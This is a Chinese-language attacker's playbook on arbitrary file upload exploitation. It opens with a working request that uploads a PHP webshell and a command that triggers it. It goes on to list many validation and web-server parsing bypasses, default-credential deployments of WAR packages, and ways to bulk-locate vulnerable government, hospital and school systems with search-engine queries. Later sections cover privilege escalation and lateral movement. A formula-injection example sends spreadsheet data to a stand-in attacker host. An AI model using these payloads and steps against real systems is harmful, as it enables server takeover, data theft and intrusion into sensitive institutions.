任意文件上传
任意文件上传利用的是服务端对上传内容的类型校验不完整,导致可执行文件进入 web 目录被 web 服务器解析执行。 文件上传功能本身是业务需求,漏洞在于校验层——只要攻击者能让服务器接受并存储一个可执行文件,且该文件落在 web 根目录下,就能通过 HTTP 请求触发执行,等效于在服务器上运行任意代码。
成立前提
三个条件同时满足:存在文件上传功能、上传目录位于 web 根目录下且 web 服务器允许执行该目录下的脚本、文件类型校验存在缺陷或可绕过。前台免登录的上传接口风险最高,后台上传接口配合弱口令或认证绕过同样可达。
利用链路
定位上传接口:通过功能扫描或代码审计定位文件上传点——头像上传、附件上传、富文本图片上传、安装包导入、评论图片上传等均是常见入口。
分析校验方式:先发送正常文件,观察响应确认校验点——仅靠扩展名判断还是同时验证 Content-Type 和文件头。
构造绕过请求:根据校验方式选择对应绕过手法,发送包含可执行脚本的请求:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
触发执行:上传成功后访问文件路径触发脚本执行:
GET /uploads/shell.php?cmd=id
ZIP 解压链路:要求上传 ZIP 格式时,在压缩包中嵌套 PHP/JSP 脚本,服务端解压到 web 目录后同样可触发执行。
FCKEditor 二次上传:FCKEditor 2.x 版本内置文件管理连接器,路径形如 /FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php(PHP 站)或对应 .aspx 后缀(ASP.NET 站)。利用分两步:先上传一张正常图片,从响应中确认连接器确实存活并拿到存储路径前缀;再向连接器发送请求时将 Type 参数设为 File,此时连接器绕过图片类型限制,接受任意扩展名的文件写入 web 目录。
Web 服务器解析漏洞配合上传:上传本身通过合法校验,利用点在于 web 服务器解析文件的方式:
- Nginx 解析漏洞:旧版 Nginx 在
fastcgi_split_path_info配置下,访问upload/image.jpg/x.php时,会将image.jpg作为 PHP 脚本传给 FastCGI 解析执行。上传任意.jpg文件后构造此路径即可触发。 - IIS ASP 解析漏洞:IIS 6 中,若上传路径包含
.asp片段(如/upload/data.asp/image.jpg),IIS 将该目录下所有文件当作 ASP 脚本执行,无需文件本身带.asp扩展名。 - IIS PUT/MOVE 写权限:IIS 配置了 WebDAV 且写权限未锁定时,可通过
PUT请求直接将文件写到服务器,再通过MOVE请求将其重命名为.asp/.aspx扩展名,完成无需上传表单的 getshell。
历史样本
ZIP 包内嵌脚本绕过:评论导入、安装包上传等功能要求 ZIP 格式,服务端解压到 web 目录后,压缩包内的 .php/.asp 文件直接可执行。
FCKEditor 批量影响政府/OA 系统:大量政府、OA、金融系统沿用旧版 FCKEditor,连接器路径高度一致,可通过搜索引擎 inurl:FCKeditor 批量定位部署站点,一个版本漏洞覆盖大量高价值目标。
通用 CMS 批量影响:同一套 CMS 的上传漏洞通过搜索引擎(inurl: 语法)批量定位所有部署站点,单个漏洞研究成果呈乘数效应扩散。
前台无需登录的上传接口:应用注册流程中的头像上传、APP 的证件照上传接口,对外暴露且无认证,直接上传可执行文件。
功能隐藏非删除:CMS 将高危上传功能从导航中移除,但接口路径仍然存在且可访问,通过扫描或源码泄露可还原路径后直接利用。
.asa/.phtml 扩展名绕过:黑名单仅过滤 .php/.asp,未覆盖同等可执行的变体扩展名,直接修改扩展名即可绕过。
IIS WebDAV PUT/MOVE getshell:目标 IIS 开启 WebDAV 且写权限未正确限制时,通过 PUT 写入文件、MOVE 改名为 .asp 扩展名即可直接执行,整个过程不依赖任何上传表单。
泛微/TRS WCM 等政务 CMS:此类企业/政务 CMS 被大量政府和国企部署,普遍内置 FCKEditor 或专用上传接口,通常只有前端 JS 拦截,绕过方式为 Burp 截包修改扩展名,后端无二次校验,直接落盘可执行文件。
OA 系统通用上传接口复用:协同 OA、FE 协作办公等产品将文件上传逻辑封装为公共 Action(如 fileUpload.do、/servlet/UploadSkinServlet),该接口被全产品线所有上传功能复用。接口级别无类型校验,拿到任意一个接口路径即可上传可执行文件,一个产品的漏洞覆盖所有部署实例。
教育/高校通用系统批量影响:数字校园、课程中心、毕业论文管理等面向高校的通用 SaaS 系统,同一套源码被数十至数百所高校部署。上传入口通常在附件提交、照片上传或作业上传点,JSP/JSPX 格式无过滤,通过 intitle 搜索即可定位全量部署站点,单一漏洞批量 getshell。
移动端 APP 拍照/证件上传无服务端校验:APP 中的拍照上传(如订单凭证、头像、身份证)通过 Burp 拦截请求后修改文件名和内容,服务端仅依赖前端限制,未对实际文件类型做二次验证,直接接受任意扩展名落盘。即便存在图片压缩处理,使用 BMP 等格式可绕过基于 GD 库的重编码。
简历/证件附件投递点无校验:招聘系统、政务服务平台的简历投递、证件上传功能对外开放且无需完整认证,本地 JS 拦截扩展名,抓包修改后服务端直接接受,落盘路径可从响应或错误信息中还原,属于高曝露面的前台无认证上传点。
JBoss/中间件配置不当远程部署 WAR:JBoss、WebLogic 等 Java 中间件的管理控制台(通常在 8080、4848 等端口)若未设置认证或使用默认口令,攻击者可通过控制台直接部署包含 JSP 木马的 WAR 包,无需依赖应用层的上传接口,且服务进程权限通常为 root 或 SYSTEM。
运维监控系统上传漏洞:企业部署的运维监控平台(如 OpManager、Zabbix 等)存在文件上传接口,且进程通常以 Administrator/root 权限运行,上传 WAR/JSP 文件后即获得最高权限。这类系统往往对安全关注度低,且因运维需要对内网大范围开放,一旦利用可直接接触内网所有被监控主机。
通用医院建站系统批量影响:同一套医院官网 CMS 被数十所市级医院批量部署,上传接口缺乏类型校验,通过搜索引擎批量定位后可一次性对大量医疗机构实施 getshell,获取患者挂号记录、就诊信息等高度敏感数据。医疗系统的特殊性在于数据敏感程度极高,而安全运维能力普遍薄弱。
企业邮件服务器上传漏洞:U-Mail 等私有部署企业邮件系统的附件上传接口存在类型校验缺失,攻击者上传可执行文件后获得邮件服务器权限,邮箱中存储的内部往来邮件、附件和通讯录随之泄露,且邮件服务器通常作为企业内部 SSO 的身份提供方,进一步扩大横移范围。
eWebEditor 后台改白名单 getshell:eWebEditor 编辑器自带独立管理后台(路径形如 /ewebeditor/admin_login.asp),使用默认口令(admin/admin)即可登入。攻击者在后台"样式管理"中为任意样式追加 .jsp/.asp 等可执行扩展名到允许上传列表,随后通过编辑器正常上传接口上传脚本文件,完全绕过前端校验。该模式与 FCKEditor 的利用路径独立,大量 OA、新闻、企业站使用 eWebEditor 且长期未更换默认口令。
图片二次渲染绕过写文件:DedeCMS 等 CMS 的图片上传接口会对文件进行 GD 库重编码,以此阻断普通图片马。攻击者将模板引擎标签(如 DedeCMS 的 {dede:name runphp='yes'} 块)嵌入图片的 EXIF/注释区或特定颜色数据区,重编码后标签片段得以保留,服务端模板引擎在后续渲染时解析执行该标签,触发任意 PHP 代码写入新文件。BMP 格式因 GD 重编码方式差异,代码段往往完整留存,是绕过此类防护的常见载体。
CMS 内置网盘/博客辅助定位 shell 路径:部分内网协同平台(OA、社区、知识库)的上传接口返回的访问路径为不透明 ID(如 download?id=10086),攻击者无法直接拼接 webshell 地址。实际利用时,通过平台内的博客图片、百科附件等可预览功能获取同服务器文件的真实物理路径前缀,再结合上传返回的文件名拼出可执行地址,完成从上传到触发的完整链路。
Axis2 Web Service 接口弱口令部署恶意包:部分 Java 应用集成 Apache Axis2,管理控制台路径形如 /axis2-admin/,默认口令 admin/axis2 普遍未修改。攻击者登录后通过"Upload Service"功能上传包含 JSP 木马的 .aar 服务包,Axis2 自动部署并注册为可访问的 Web Service,通过 HTTP 调用对应服务端点即可触发执行。与 JBoss 控制台部署 WAR 属于同一类攻击面,但端口和路径特征不同,常被遗漏扫描。
脚本执行被禁降级为存储型 XSS:目标服务器禁止脚本解析(上传目录配置 noexec,或文件落在 CDN 静态域名),无法直接 getshell,但上传接口仍接受 .html、.svg 等富文本格式。攻击者上传内嵌 <script> 的 HTML/SVG 文件,文件被浏览器原样渲染,在对应域名下执行任意 JS——若该域与主站同源或被主站 iframe 引用,可直接窃取 Cookie 或劫持页面。饿了么移动端订单凭证上传、新浪、金山云等均出现此类"上传接口 → 存储型 XSS"链路。
受信任格式(DOCX)白名单绕过:上传校验明确放行 Office 文档格式(.docx、.xlsx、.pptx),对 .jsp/.php 则报错拒绝。若服务端解压 DOCX 内部 ZIP 结构时未对内嵌路径做校验,攻击者可在 DOCX 内部嵌套可执行文件并利用路径穿越落盘到 web 目录;即便无法直接执行,DOCX 内宏代码在管理员下载后用 Office 客户端打开时自动运行,将攻击面从服务端转移到运维终端。
文件管理/图片编辑功能覆写任意 PHP 文件:电商后台(如 ECStore)提供图片替换功能,前端允许上传新图片并指定目标文件名,后端未校验 file_name 参数是否越界,攻击者将目标路径设为 /index.php 或 /config/config.php,以图片内容覆盖核心 PHP 文件,将一句话木马写入生产环境文件,同时保持文件原扩展名不变,绕过所有基于扩展名的校验。
Excel/CSV 公式注入:后台支持上传 Excel 或 CSV 报表文件时,服务端不对单元格内容做清理,攻击者在单元格中注入公式(如 =HYPERLINK("http://attacker.com/"&A1,"click"))。管理员在 Excel 客户端打开导出报表时,公式自动执行,可外带敏感数据、触发 SSRF 或在启用宏的环境中执行任意命令。该攻击面常出现在订单导入、用户数据批量上传、问卷填写等功能,危害触发点在客户端而非服务端,防御者容易忽视。
文件名末尾追加点号绕过:Windows 文件系统会自动去除文件名末尾的点号,上传 shell.php. 时服务端黑名单未命中,实际落盘时 Windows 截断尾部点号,文件以 .php 扩展名存储并可被解析执行。与 NULL 字节截断属于同一类"尾部字符利用"手法,但触发条件不同——仅在 Windows 宿主机上生效。
二级站点功能允许修改已上传文件后缀:平台提供创建子站或个人空间的功能,子站内置文件上传能力,且允许用户对已上传文件执行重命名操作包括修改扩展名。攻击者先以合法图片扩展名通过上传校验,再通过重命名接口将文件改为可执行扩展名,绕过了上传阶段的类型限制。
修复主接口遗漏功能相同的备用接口:开发团队修复了被报告的上传接口,但未排查系统中功能相同的其他路由——早期版本遗留的接口、多步骤流程中不同阶段的上传节点、移动端专用接口均可能独立存在且未同步修复,补丁覆盖不完整,原有漏洞仍可从备用路径复现。
后缀加空格绕过黑名单:黑名单过滤逻辑未对文件名做 trim 预处理,上传 shell.php 时比对不命中,后端存储或 move_uploaded_file 调用在部分环境下会截断尾部空格,文件以 .php 落盘可执行。与点号截断手法类似,依赖宿主系统或运行时对特殊尾部字符的处理差异。
旧版富文本编辑器与服务器解析漏洞组合利用:集成了旧版 FCKEditor 的建站类 CMS,其上传接口本身虽有扩展名限制,但结合 IIS 解析漏洞,上传 x.asp;.jpg 时文件通过图片校验,落盘路径在 IIS 下被解析为 ASP 脚本执行。两个历史遗留问题叠加,任一单独修复均不足以阻断利用链。批量部署的 CMS 使该组合可批量复现。
注册流程中间步骤接口在注册完成前即可访问:注册流程拆分为多步,某一步骤(如头像上传)的接口在未完成注册、账号未激活的状态下已对外暴露。该接口无文件类型限制,返回的文件 URL 可直接访问;上传 SVG/HTML 等富文本格式时,还可在该域名下触发存储型 XSS,无需持有任何有效账号。
多漏洞并存暗示系统从未经历安全审计:同一系统中 XXE、SQL 注入、任意文件上传等高危漏洞同时存在,表明安全问题从未被系统性审查。上传漏洞在此类目标中往往仅是入口,getshell 后因进程权限未收敛,可直接获得服务器高权限,进一步横移或读取全量数据。
Web 根目录写权限配合服务端解析配置 getshell:服务器将 Web 根目录设为可写且未对上传目录禁用脚本解析,攻击者利用任意可写接口写入文件后,服务端将其作为脚本执行。区别于常规上传漏洞的是,此类问题根因在于服务端运行时配置不当,与应用层上传逻辑无关,修复需在 Web 服务器层面介入。
Cookie 参数控制上传目录路径:应用将上传目标目录存储在 Cookie 字段中,服务端直接信任该值拼接存储路径。攻击者修改 Cookie 中的路径参数,将文件落到任意可写目录,配合路径穿越可将脚本投放到 web 根目录下。
残留 webshell 被动利用:服务器上存在前人遗留的 webshell,且从未被运维发现或清除。攻击者无需主动触发上传漏洞,直接访问已知路径即可接管服务器,暴露时间越长被利用风险越高。
前端 JS 文件类型限制直接编辑绕过:上传校验逻辑完全在前端 JS 中实现,服务端无独立校验。攻击者通过浏览器开发者工具或本地代理直接修改 JS 代码删除校验函数,随后上传任意扩展名文件,服务端直接接受并落盘。
同服务器多站点连带沦陷:getshell 后发现目标服务器同时托管大量其他网站,包括更高价值的主站或第三方站点。上传漏洞的实际影响边界由服务器上的站点布局决定,一个低权重子站的上传入口可直接导致同机所有站点沦陷。
上传后响应返回假路径,真实落盘路径另行获取:部分系统(如集成 WAF 或反向代理的环境)在上传响应中返回经过改写的虚假文件路径,真实落盘路径存储在服务器本地日志或另一接口返回中。攻击者需通过第二步请求或错误信息还原真实可访问地址,才能完成从上传到触发的完整链路。
第三方上传组件自身漏洞:应用集成的独立文件上传组件(如 uploadify 等)本身存在未校验的上传接口,该接口独立于应用主逻辑,绕过了应用层的所有鉴权和类型校验。多套不同应用复用同一有漏洞的组件版本,单个组件漏洞可在不同系统中批量复现。
多点扩展名取中间段解析:文件名含多个点号分隔扩展名时(如 shell.php.jpg),校验逻辑取最后一段通过图片类型检查,但服务端存储或解析时按点号分隔取第二段作为实际类型,将文件作为可执行脚本处理。与双扩展名绕过的区别在于服务端解析位置为中间段而非末尾段。
GitHub 等代码托管平台泄露明文凭证:源代码或配置文件被提交到公开代码仓库,其中包含后台管理系统的明文账号密码或加密密钥。攻击者搜索特定关键词定位凭证,解密或直接使用后登录后台,再利用后台内置的上传功能 getshell,整个入口在代码仓库而非应用本身。
上传不返回路径,配合独立信息泄露漏洞还原 shell 地址:上传接口设计上不在响应中返回文件 URL,导致攻击者无法直接获知 webshell 落盘路径。实际利用时需借助同系统中独立存在的目录遍历或文件读取漏洞查看上传目录内容,从而还原可访问路径,两个漏洞互为依赖,缺一无法完成完整利用链。
条件竞争绕过上传后即时删除:服务端在文件上传成功落盘后立即调用 unlink 删除,以此阻止脚本被访问执行。但在落盘与删除之间存在时间窗口,攻击者以极短间隔并发发送访问请求,在文件被删除前命中该窗口触发脚本执行,完成竞争条件利用。该手法依赖并发速度而非校验绕过。
弱口令后台进入后利用内置上传功能:系统后台使用通用弱口令(如 test/123、admin/admin)直接登录,后台内置的教室管理、资源管理、头像修改等功能模块自带文件上传能力且无类型限制。此类路径的核心脆弱点在认证层而非上传校验,getshell 路径为:弱口令登录 → 定位后台上传入口 → 上传可执行文件。
NTFS ADS 文件流绕过扩展名校验:Windows NTFS 文件系统支持备用数据流(Alternate Data Streams),上传文件名 shell.jsp::$DATA 时,扩展名校验逻辑读取到的后缀为 ::$DATA 而非可执行扩展名,因此通过黑名单检测;NTFS 在实际落盘时自动去除 ::$DATA 标记,文件以 shell.jsp 存储。大量部署在 Windows 平台的 Java OA(如万户 ezOffice)因此可一击通杀,无论黑名单规则多严格均无效。
ZIP 子目录嵌套绕过根目录扫描:服务端对上传的 ZIP 包做脚本扫描时,只检查压缩包根目录下的文件列表,未递归扫描子目录。攻击者在 ZIP 内创建一个普通目录,将 PHP/JSP 脚本置于该目录内,根目录层面看起来没有可执行文件,扫描通过后解压,脚本落入 web 目录可执行。
Tomcat 管理控制台弱口令上传 WAR:Tomcat Manager(路径 /manager/html)若使用默认口令(如 tomcat/tomcat)未修改,攻击者登录后通过"WAR file to deploy"功能上传含 JSP 木马的 WAR 包,Tomcat 自动部署并在 web 目录下展开,访问对应路径触发执行。与 JBoss 控制台部署属同类模式,Tomcat 因开发阶段广泛使用而更易遗留默认口令。
论坛/社区 SQL 注入提升权限后修改附件白名单:目标论坛(如 Discuz!NT 系列)存在 SQL 注入,注入提升自身权限为管理员后,进入后台"附件管理"将 PHP、JSP 等可执行扩展名追加到允许上传格式列表,随后通过普通发帖的附件上传功能上传脚本文件。认证绕过与配置修改两步合并,最终利用点依然是上传功能本身。
.htaccess 文件上传改变目录解析规则:Linux Apache 环境下,若上传目录允许上传 .htaccess 文件,攻击者先上传一个内容为 AddType application/x-httpd-php .jpg 的 .htaccess,将该目录下的 .jpg 文件注册为 PHP 脚本类型;再上传带有 PHP 代码的图片文件,服务端按 .htaccess 配置将其作为 PHP 解析执行。不依赖任何上传扩展名绕过,核心在于配置文件上传权限未单独控制。
上传接口 php://input 原始流写文件:应用上传逻辑区分了表单文件上传和原始 POST 流两条路径,校验仅施加在表单路径(检测 $_FILES),原始流分支(fopen("php://input", "rb"))直接写入文件内容且无类型检测。攻击者发现表单方式因校验报错,改用原始 POST 流将脚本内容写入,绕过了基于 $_FILES 结构的所有防护。
上传成功响应暴露服务器真实物理路径:服务端在上传成功响应或错误提示中返回包含服务器绝对路径的信息(如 WebLogic 临时目录路径)。攻击者即使上传的文件路径在响应中被改写或未公开返回,也可从路径前缀反推 web 根目录位置,进而通过路径穿越或多步骤组合将 shell 投放至可访问路径。
.jspx 扩展名绕过 .jsp 过滤:服务端黑名单明确拦截 .jsp 上传,但未将功能等价的 .jspx 加入过滤范围。JSPX 是符合 XML 语法的 JSP 变体,Tomcat 等 Java 容器同样将其作为 Servlet 脚本解析执行。攻击者将木马文件改为 .jspx 扩展名即可通过校验,getshell 成功率与 .jsp 等价。
SVN 目录泄露源代码辅助定位上传入口:Web 服务器未屏蔽 .svn 目录,攻击者下载 *.php.svn-base 文件获得完整源代码。通过源码审计快速定位上传接口路径、参数名、类型校验逻辑,再结合 FCKEditor 组件无类型限制的特性或 Nginx 解析漏洞,精准构造利用请求,省去盲探步骤,显著降低利用难度。
上传后中转至第三方服务器产生竞争时间窗口:上传接口将文件在本地服务器短暂落盘后,异步转发到图片/存储服务器并随即调用 unlink 删除本地副本。本地落盘到删除之间存在毫秒级时间窗口,且中转延迟使该窗口比纯本地操作更长、更稳定。攻击者并发发送大量访问请求,在中转传输期间命中本地文件,触发脚本执行,属于条件竞争的变体场景。
任意文件下载漏洞串联定位 JBoss 认证密码:系统同时存在任意文件下载漏洞,攻击者先下载历史命令文件(如 .bash_history)还原 JBoss 部署路径,再下载 JBoss 管理凭证配置文件获取认证密码,最终通过 JMX Console 部署含 shell 的 WAR 包完成 getshell。该链路不依赖任何上传接口本身的类型绕过,入口是文件读取,出口是中间件部署功能,两个漏洞串联缺一不可。
上传接口缺乏 CSRF 防护被 XSS 驱动远程 getshell:后台上传接口未校验 CSRF Token,攻击者通过前台存储型 XSS 将恶意 JS 注入到管理员可见页面;管理员访问页面时,JS 自动以管理员身份向上传接口发送包含 shell 文件的请求,完成跨站请求伪造 getshell。攻击者无需持有后台账号,且整个上传流程对管理员完全透明,危害在于两个漏洞叠加将 XSS 升级为服务器控制权。
硬编码校验码绕过上传鉴权:上传接口通过固定字符串的 MD5 散列值作为 code 参数来验证请求来源,该值写死在前端 JS 或可公开访问的源码中。攻击者提取这个固定值后直接携带参数发送上传请求,完全绕过意图设计的鉴权逻辑,接口等同于无鉴权开放。
文件名由用户请求参数控制且保留原始扩展名:上传接口优先从 $_REQUEST['name'] 等用户可控参数中读取目标文件名,若该参数存在则直接使用,仅在参数缺失时才取 $_FILES 中的文件名。服务端以此文件名提取扩展名并拼接新文件名落盘,攻击者只需在请求中加入 name=shell.php 参数即可控制最终存储扩展名,绕过基于 $_FILES 结构的扩展名检测。
Servlet/Action 写文件接口 filename 参数含路径穿越:部分 Java 应用将文件写入逻辑封装为独立 Servlet(如 /servlet/wordFileUpload),接收 filename 和 filepath 参数,服务端直接拼接参数写入文件内容,未对路径做规范化处理。攻击者在 filename 中注入 ../../jsp/shell.jsp 即可将脚本写到 web 目录外的可访问路径,属于写文件接口的路径穿越,与上传表单无关。
上传接口落盘路径由 path/fileId 等请求参数控制:OA 类系统的上传接口将最终存储路径设计为 uploadFolder + path + fileId 的拼接形式,path 和 fileId 参数均由请求方提供,服务端不校验其合法范围。攻击者任意指定这两个参数即可将文件投放到任意可写目录,JSPX 等可执行格式同样通过此路径落盘。
CMS 内置文件管理器后台无类型限制:部分商业 CMS 后台提供独立文件管理器,其中的文件上传功能与主业务上传逻辑分离,开发时未施加类型限制。攻击者登录后台后通过文件管理器可直接上传任意扩展名文件,该路径绕过了主上传接口上的所有防护,属于后台功能权限收敛不完整。
.cer 等冷门可执行扩展名未被黑名单收录:黑名单维护了常见可执行扩展名列表,但遗漏了 .cer、.cdx、.htr 等在 IIS 上同样可被映射执行的冷门扩展名。攻击者将木马改为这些扩展名直接上传,IIS 按已注册脚本映射将其作为脚本解析,黑名单等同于形同虚设。
SQL 注入万能密码登录后台再利用上传功能:登录表单对用户输入未做参数化处理,攻击者注入 ' or ''=' 类型的万能密码绕过认证直接进入后台;后台内置的文件资源管理、模板管理等功能自带上传能力且无类型校验,认证绕过与上传 getshell 两步合一,整个攻击面的根源在登录逻辑而非上传校验。
员工私搭未清理的测试环境暴露内网入口:开发或测试人员在企业内网边界机器上自行部署 Tomcat、JBoss 等 Java 中间件用于开发调试,使用默认口令且未在测试结束后清理。该服务对外暴露后,攻击者通过默认口令登录管理控制台并部署含 shell 的 WAR 包,利用该机器作为跳板接入企业内网。与正式环境的中间件暴露属同类问题,但测试机因缺乏运维管控而更易被忽视。
框架级漏洞(Struts2 等)直接获取命令执行权限:目标 Java 应用使用存在已知漏洞的 Struts2 版本,攻击者通过 S2-016 等 OGNL 注入漏洞直接在服务端执行任意命令,无需经过任何上传接口。该路径本质上绕过了应用层的所有上传逻辑,getshell 路径为框架漏洞而非文件类型绕过,但最终效果与上传 shell 相同,且政府、金融等行业的老旧 Java 应用中大量存在未打补丁的 Struts2 部署。
上传响应直接暴露服务器绝对部署路径:上传成功后的响应中携带含服务器绝对路径的回调信息(如 JBoss WAR 展开路径、Tomcat 临时目录),攻击者无需盲猜即可从响应中直接读出 webshell 落盘的完整物理路径,省去从 web 相对路径反推绝对路径的步骤,显著降低利用门槛。
通达 OA 前台无认证上传接口:通达 OA 系统存在无需登录即可访问的文件上传接口,攻击者直接构造上传请求,服务端不校验会话状态,上传的脚本文件直接落盘到 web 目录。该接口长期对内网开放,企业高度依赖通达 OA 作为协同办公平台,利用后可横移至内网全段。
FCKEditor 目录遍历辅助定位 shell 落盘路径:FCKEditor 内置文件管理连接器除上传功能外,还提供目录浏览命令(Command=GetFolders、Command=GetFiles),无需身份验证即可列出服务器上传目录下的所有文件。攻击者先通过目录遍历确认已上传文件的实际存储路径,再发起精准访问触发执行,消除了对路径结构的盲猜需求。
业务功能导入入口暗藏上传能力:短信营销、报表导入、名单批量上传等业务功能内部以文件上传实现,但入口页面标签为"导入文件"而非"上传文件",安全审计时容易被漏扫。这类接口通常对登录用户完全开放,且开发时关注点在业务逻辑而非上传安全,文件类型校验缺失属于设计遗漏而非绕过。
企业会员/认证材料上传接口无类型校验:金融、支付、招聘等平台的企业认证流程需要上传营业执照、证件照片等材料,对应接口面向已注册用户开放且具有一定业务合法性,服务端仅依赖前端文件类型限制,未对实际内容做验证。攻击者完成基础注册后即可访问该接口,以正常业务操作的形式完成上传 getshell,整个流程无异常特征。
会员相册/多图批量上传接口无扩展名过滤:社区、论坛、招聘站点为会员提供相册或作品集功能,配套的多图批量上传接口在开发时仅做前端类型限制,服务端对每张图片的实际扩展名无独立校验。注册普通会员即可访问该接口,直接上传可执行脚本文件,属于高暴露面的低权限上传入口。
模板压缩包中以可执行扩展名命名目录:CMS 的模板上传功能接受 ZIP 格式压缩包,服务端对压缩包内的文件名做扩展名过滤,但未校验目录名。攻击者在压缩包中创建名为 shell.php 的目录,并在其中放置任意文件;在 Apache 旧版 mod_php 配置或 IIS 目录级解析规则下,该目录内的文件被按目录名(.php)解析执行,绕过了针对文件名的所有校验。
上传 webshell 后以 80 端口反弹绕过出站过滤:getshell 后发现目标主机在严格的网络策略下,常规端口反弹连接被防火墙拦截。攻击者改用 80 或 443 端口发起反向 TCP 连接,利用出站策略对 HTTP/HTTPS 流量的豁免完成隧道建立,将上传漏洞的利用链延伸至内网横移阶段,突破边界防护完成完整控制。
任意文件下载配合源码审计精准定位上传接口:系统同时存在任意文件下载漏洞,攻击者先下载 WEB-INF/web.xml 或其他配置文件获得完整 Servlet 路由映射,再针对性下载上传接口实现代码审计其校验逻辑,最终构造精准的绕过请求。与盲探式上传测试相比,源码驱动的定向攻击成功率极高,且减少了因无效请求触发告警的概率。
FCKEditor 配合 Java 反序列化漏洞双重入口:同一应用或同机服务同时存在 FCKEditor 上传漏洞和 Java 反序列化漏洞(如 JBoss、Apache Commons 漏洞链),两条 getshell 路径相互独立。修复了上传入口不代表系统安全,反序列化利用无需任何认证或文件上传,直接在服务端执行任意命令;多入口并存意味着单点修复对整体攻击面削减有限。
多步注册流程中间节点接口提前暴露:部分平台的企业注册流程分阶段完成,资质材料上传接口在用户完成第一步基础信息提交后即可访问,无需等待审核通过或绑定手机。此时账号处于未完成状态,但上传接口已对外可达,且通常未施加文件类型限制,攻击者利用中间状态账号即可访问上传入口。
上传接口返回文件路径中含内网 IP 泄露内网结构:上传成功后的响应或 webshell 执行结果中暴露服务器的内网 IP 地址段和主机名,攻击者据此绘制内网拓扑,有针对性地对相邻高价值目标(数据库服务器、认证服务器)发起横移。上传漏洞本身提供立足点,路径响应中的信息泄露则大幅降低内网侦察成本。
JBoss JMX-Console HTTP 方法差异绕过认证:JBoss 管理控制台对 GET/POST 请求启用了 Basic Auth,但未对 HEAD 请求做同等校验。攻击者先发送 HEAD 请求确认接口存活并绕过认证检测,再利用 JMX-Console 的 MainDeployer 部署含 JSP 木马的 WAR 包完成 getshell。该模式与默认口令入侵独立,修复弱口令后若遗留 HTTP 方法校验缺口,攻击路径依然有效。
图片头伪造叠加免杀 WebShell 绕过安全软件:服务端校验同时包含文件头类型检测和已知木马特征扫描,普通 webshell 上传后被安全软件直接拦截删除。攻击者在图片文件头部(如 GIF89a)之后嵌入经过特征混淆的免杀 shell 内容,同时使用 php://input 原始流写入绕过 $_FILES 路径校验,两道绕过串联后,文件头检测通过且木马内容逃脱特征匹配,最终落盘可执行。
XSS 盲打后台与后台上传无校验三步利用链:应用前台评论或留言存在存储型 XSS,管理员在后台处理记录时触发恶意 JS;后台产品添加、资源管理等功能的上传接口未做文件类型校验,同时缺乏 CSRF Token;恶意 JS 自动以管理员身份向上传接口发送请求,完成从前台注入到服务器控制的完整三步链路,攻击者全程无需持有任何账号。
getshell 后读配置文件获取数据库 SA 账号提权:上传漏洞获得的 webshell 权限较低,无法直接提权。攻击者从 web.config 或数据库连接配置文件中读取 MSSQL 连接字符串,发现以 sa 账号连接且使用弱口令;利用 SA 权限开启 xp_cmdshell 存储过程,直接在数据库服务器上执行系统命令,绕过应用层权限限制取得服务器控制权,危害从 web 进程权限跃升至操作系统层面。
webshell 内读取运维部署文档获得操作系统凭证:getshell 后在服务器本地目录中发现系统集成商留存的安装部署记录文档(如 .doc 格式的交付报告),文档中包含操作系统管理账号及 RDP 端口的明文密码。攻击者直接用文档中的凭证登录远程桌面,将控制权从 webshell 层面提升为完整的图形界面操作系统访问权,且该路径不依赖任何漏洞利用,纯粹因文档管理疏失造成。
Linux 内核本地提权配合已知主机列表横移:上传 shell 后发现目标为 Linux,进程权限为低权限用户,出站防火墙过滤了常规端口。攻击者利用服务器运行的旧版内核对应的公开 CVE 完成本地提权获得 root,再读取 /root/.ssh/ 下的历史 SSH 连接记录(known_hosts、authorized_keys)和 /etc/hosts 内网主机列表,以 SSH 免密或密钥复用的方式横向接入同段数十台主机,整个扩展过程不再需要任何新的漏洞。
AES 加密凭证与解密密钥同时泄露等效明文:GitHub 代码仓库泄露的配置文件中账号密码以 AES 加密形式存储,表面上看并非明文;但同一仓库中还包含完整的加密工具类代码,攻击者将密文与密钥分别提取后在本地解密,还原出可直接使用的明文凭证。与直接存储明文相比,危害完全等价,且因加密形式迷惑了初步检查,漏洞生命周期往往更长。
用友/OA 系统业务流程功能模块内嵌上传无校验:用友等 ERP/OA 系统的业务功能模块(如项目绿色通道、审批附件提交等)内部使用独立的上传接口,开发重心在业务逻辑而非安全校验,接口直接接受 ASPX、JSP 等可执行扩展名并落盘到 web 目录。攻击者通过弱口令进入系统后,无需寻找专用上传入口,普通业务操作流程中即可完成 getshell,且路径在安全审计中因标签为"业务附件"而频繁被忽略。
高校数字校园平台站内信/消息附件上传落盘任意文件:面向高校部署的一体化数字校园平台(如东软等)的站内信、公告通知等消息功能允许用户附带文件上传,接口未对扩展名做限制,上传的 JSP/ASPX 文件以原始文件名存储在 web 可访问目录。任何持有学生或教师账号的用户均可利用,且平台同时集成教务、邮箱、一卡通等多个子系统,getshell 后横向接触面极广。
上传接口落盘路径含可预测时间戳组件:服务端生成存储文件名时以当前时间(如 YmdHis 格式)作为主要组成部分,未引入足够熵的随机数;攻击者上传 webshell 后,在知晓上传发生时间的前提下,通过枚举时间前后的路径组合命中落盘文件。当文件名仅由时间戳组成时,窗口内的枚举量极少,结合上传响应中返回的部分路径信息可进一步缩小搜索空间。
通用建站型 CMS 图片上传组件不做内容校验仅信任扩展名:逐浪 CMS、国旅等建站系统的图片上传组件在接受文件时仅对扩展名做白名单检查,不验证文件实际内容;攻击者将 ASPX/JSP 木马内容写入图片格式文件后直接上传,服务端以 .jpg 扩展名存储但内容为可执行脚本。若上传目录存在 IIS/Apache 解析漏洞或配置允许执行特定格式,文件内容即被执行;即便不可直接执行,文件仍以静态资源形式对外可达,可作为 XSS payload 载体。
图片上传配合 Nginx 解析漏洞组合利用:旧版 Nginx 在 fastcgi_split_path_info 配置下,上传图片文件只需通过图片扩展名校验;上传成功后,攻击者访问 上传路径/image.jpg/x.php 的方式构造请求,Nginx 将整个 image.jpg 文件作为 PHP 脚本传给 FastCGI 解析执行。图片内容本身内嵌 PHP 代码即可触发,上传校验与解析执行在两个完全独立的环节被分别绕过,单独修复任一环节均不完整。
